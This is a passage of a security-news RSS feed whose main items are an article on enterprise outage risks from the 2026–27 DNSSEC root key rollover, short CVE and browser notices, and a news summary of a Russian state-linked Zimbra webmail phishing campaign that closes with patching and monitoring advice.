<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[CVE-2026-17107 | Red Hat Multicluster Engine for Kubernetes cluster-proxy service-proxy Impersonate-Group privileges management (EUVD-2026-48728)]]></title>
<description><![CDATA[A vulnerability was found in Red Hat Multicluster Engine for Kubernetes. It has been declared as very critical. The affected element is an unknown function of the component cluster-proxy service-proxy. The manipulation of the argument Impersonate-Group results in improper privilege management.

T...]]></description>
<link>https://tsecurity.de/de/3692530/sicherheitsluecken/cve-2026-17107-red-hat-multicluster-engine-for-kubernetes-cluster-proxy-service-proxy-impersonate-group-privileges-management-euvd-2026-48728/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692530/sicherheitsluecken/cve-2026-17107-red-hat-multicluster-engine-for-kubernetes-cluster-proxy-service-proxy-impersonate-group-privileges-management-euvd-2026-48728/</guid>
<pubDate>Fri, 24 Jul 2026 23:15:49 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/red_hat:multicluster_engine_for_kubernetes">Red Hat Multicluster Engine for Kubernetes</a>. It has been declared as <a href="https://vuldb.com/kb/risk">very critical</a>. The affected element is an unknown function of the component <em>cluster-proxy service-proxy</em>. The manipulation of the argument <em>Impersonate-Group</em> results in improper privilege management.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-17107">CVE-2026-17107</a>. The attack may be launched remotely. There is no exploit available.]]></content:encoded>
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<title><![CDATA[Security: Mehrere Probleme in terraform-provid, terraform-provider-aws, terraform-provider-azurerm, terraform-provider-external, terraform-provider-google, terraform-provider-helm und terraform-provider-kubernetes (SUSE)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3692092/unix-server/security-mehrere-probleme-in-terraform-provid-terraform-provider-aws-terraform-provider-azurerm-terraform-provider-external-terraform-provider-google-terraform-provider-helm-und-terraform-provider-kubernetes-suse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692092/unix-server/security-mehrere-probleme-in-terraform-provid-terraform-provider-aws-terraform-provider-azurerm-terraform-provider-external-terraform-provider-google-terraform-provider-helm-und-terraform-provider-kubernetes-suse/</guid>
<pubDate>Fri, 24 Jul 2026 18:47:24 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
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<title><![CDATA[Mozilla integriert Containers-Funktion direkt in Firefox]]></title>
<description><![CDATA[Mozilla integriert die Containers-Funktion direkt in Firefox 153. Zudem stellt der Entwickler ab September auf zweiwöchentliche Updates um.

Tags: #Firefox | #Mozilla]]></description>
<link>https://tsecurity.de/de/3692072/it-security-nachrichten/mozilla-integriert-containers-funktion-direkt-in-firefox/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692072/it-security-nachrichten/mozilla-integriert-containers-funktion-direkt-in-firefox/</guid>
<pubDate>Fri, 24 Jul 2026 18:39:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2023/11/Firefox-Quelle-PixieMe-Shutterstock-1099014890-1920.jpg" class="attachment-full size-full wp-post-image" alt="Firefox" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2023/11/Firefox-Quelle-PixieMe-Shutterstock-1099014890-1920.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2023/11/Firefox-Quelle-PixieMe-Shutterstock-1099014890-1920-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2023/11/Firefox-Quelle-PixieMe-Shutterstock-1099014890-1920-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2023/11/Firefox-Quelle-PixieMe-Shutterstock-1099014890-1920-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2023/11/Firefox-Quelle-PixieMe-Shutterstock-1099014890-1920-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="Mozilla integriert Containers-Funktion direkt in Firefox 1"></p>
    Mozilla integriert die Containers-Funktion direkt in Firefox 153. Zudem stellt der Entwickler ab September auf zweiwöchentliche Updates um.

<p>Tags: <a href="https://www.it-daily.net/thema/firefox">#Firefox</a> | <a href="https://www.it-daily.net/thema/mozilla">#Mozilla</a></p>]]></content:encoded>
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<title><![CDATA[Firefox Containers: Diese Browser-Erweiterung ist ein echter Geheimtipp]]></title>
<description><![CDATA[Webseiten abschotten, das Tracking eindämmen oder zwei Accounts gleichzeitig nutzen? Inkognito-Tabs sind dafür zu umständlich. Eine kostenlose Firefox-Erweiterung schafft Abhilfe. Wir zeigen dir, wie du sie in Minuten einrichtest und die "Container" nutzt.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3691668/it-security-nachrichten/firefox-containers-diese-browser-erweiterung-ist-ein-echter-geheimtipp/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691668/it-security-nachrichten/firefox-containers-diese-browser-erweiterung-ist-ein-echter-geheimtipp/</guid>
<pubDate>Fri, 24 Jul 2026 15:30:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/faq/352"><img hspace="5" border="0" align="left" alt="Browser, Firefox, Mozilla, Webbrowser, Mozilla Firefox, Multitasking, Erweiterungen, Container, Accounts, Firefox Browser, Addons, Inkognito" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/92293.jpg"></a>
			Webseiten abschotten, das Tracking eindämmen oder zwei Accounts gleichzeitig nutzen? Inkognito-Tabs sind dafür zu umständlich. Eine kostenlose Firefox-Erweiterung schafft Abhilfe. Wir zeigen dir, wie du sie in Minuten einrichtest und die "Container" nutzt.			(<a href="https://winfuture.de/faq/352">Weiter lesen</a>)]]></content:encoded>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
</div></div></div></div>]]></content:encoded>
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<item>
<title><![CDATA[GitOps Handbook]]></title>
<description><![CDATA[Learn GitOps with ArgoCD in this hands-on course. Go from Kubernetes deployment basics to safe, production-grade rollouts.]]></description>
<link>https://tsecurity.de/de/3691063/linux-tipps/gitops-handbook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691063/linux-tipps/gitops-handbook/</guid>
<pubDate>Fri, 24 Jul 2026 11:02:52 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Learn GitOps with ArgoCD in this hands-on course. Go from Kubernetes deployment basics to safe, production-grade rollouts.]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit]]></title>
<description><![CDATA[A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activ...]]></description>
<link>https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</guid>
<pubDate>Fri, 24 Jul 2026 08:25:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Zimbra-phishing-campaign.gif" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Zimbra phishing campaign" decoding="async" title="Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit 1"></p>A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activity has been linked primarily to LAUNDRY BEAR, a Russian state-supported advanced persistent threat (APT) group tracked under several names across the cybersecurity industry. The advisory said the campaign has been active since at least July 2025 and has targeted organizations using the Zimbra Collaboration Suite (ZCS).

Unlike conventional phishing attacks that typically require victims to click a malicious link or open an attachment, the campaign uses a view-based <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29111">exploit</a>. A user only needs to view a malicious email in a vulnerable version of ZCS webmail for the exploit to attempt execution.
<h3><strong>Zimbra Phishing Campaign Uses CVE-2025-66376</strong></h3>
The campaign centers on CVE-2025-66376, a vulnerability that was initially exploited as a <a href="https://thecyberexpress.com/zero-day-vulnerability-microsoft-sharepoint/" target="_blank" rel="noopener">zero-day vulnerability </a>before a patch was released. According to the <a href="https://www.ic3.gov/CSA/2026/260723.pdf" target="_blank" rel="nofollow noopener">advisory</a>, the activity began in July 2025, months before the vulnerability was published and patched.

The <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29110">vulnerability</a> allows a JavaScript payload contained in email content to execute because of improper sanitization of CSS @import directives within an email. The malicious payload uses Base64 encoding and XOR encryption and can be modified to help bypass basic threat detection signatures.

Once triggered, the payload attempts to collect and exfiltrate information through 12 stages. These include gathering the victim's email address and environment information, collecting two-factor authentication codes and application passwords, attempting to capture saved passwords, enabling mail protocols, gathering the Global Address List (GAL), and sending archived email <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29112">data</a>.

The advisory said the campaign's use of a zero-day exploit demonstrates the ability of LAUNDRY BEAR to operationalize novel <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29108">vulnerabilities</a> into a successful attack capability.
<h3><strong>LAUNDRY BEAR Targets Email and Sensitive Data</strong></h3>
The primary objective of the Russian state-supported <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29109">cyber</a> actors appears to be the covert acquisition of email data. The campaign attempts to steal the last 90 days of email communications, email addresses, passwords, the organization's Global Address List, 2FA tokens and newly created application passcodes.

The actors have targeted organizations connected to the defense industrial base, government, education, energy, law enforcement, media, non-governmental organizations and technology sectors.

The advisory said LAUNDRY BEAR likely identifies organizations with publicly exposed Zimbra infrastructure through port scanning and commercially available datasets. It may then compile individual user email addresses using commercial data, open-source intelligence or previously exfiltrated information.

The group has also used compromised accounts to distribute <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-phishing/" target="_blank" rel="noopener" title="phishing" data-wpil-keyword-link="linked" data-wpil-monitor-id="29114">phishing</a> emails. Since at least November 2025, malicious emails were reportedly sent from victim infrastructure, potentially using previously compromised accounts to make the activity harder to detect and to bypass anti-phishing measures.
<h3><strong>Ulej and Flowerbed Support Email Data Exfiltration</strong></h3>
The campaign uses a custom capability called Ulej, which was developed to exploit ZCS and exfiltrate sensitive information. The collected data is sent to infrastructure associated with the Flowerbed framework.

Flowerbed is a Python project using Docker and includes four containers: Catcher, Certbot, Nginx and Gardener. Catcher receives and aggregates stolen information, while Nginx operates as an HTTPS reverse proxy. The framework uses DNS and HTTPS channels for <a href="https://thecyberexpress.com/ai-driven-phishing-campaign/" target="_blank" rel="noopener">email data exfiltration</a>.

The advisory said the campaign can exfiltrate email content, contacts, attachments, authentication information and other data. The stolen information is initially stored by Catcher before being transferred to non-public-facing infrastructure.

The report also noted indications that artificial intelligence may have played a role in developing the Flowerbed codebase, highlighting the increasing use of AI in developing malicious capabilities.
<h3><strong>Organizations Urged to Patch Vulnerable Zimbra Systems</strong></h3>
The advisory urged organizations using ZCS to immediately ensure their systems are not running vulnerable versions. A patch for CVE-2025-66376 was released for ZCS versions 10.1.13 and 10.0.18.

If immediate patching is not possible, organizations are advised to have employees use alternative mail clients and avoid the Classic ZCS webmail client until the software is updated.

<a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29107">Security</a> teams are also advised to monitor internet-connected ZCS systems, workstations accessing those systems and network traffic for signs of suspicious activity. Recommended monitoring includes looking for large outbound data transfers to unfamiliar VPS providers, unusual DNS queries with random subdomains, sudden connections to newly established domains and connections involving <a class="wpil_keyword_link" href="https://thecyberexpress.com/how-to-get-a-vpn/" title="VPN" data-wpil-keyword-link="linked" data-wpil-monitor-id="29113">VPN</a> providers such as Mullvad.

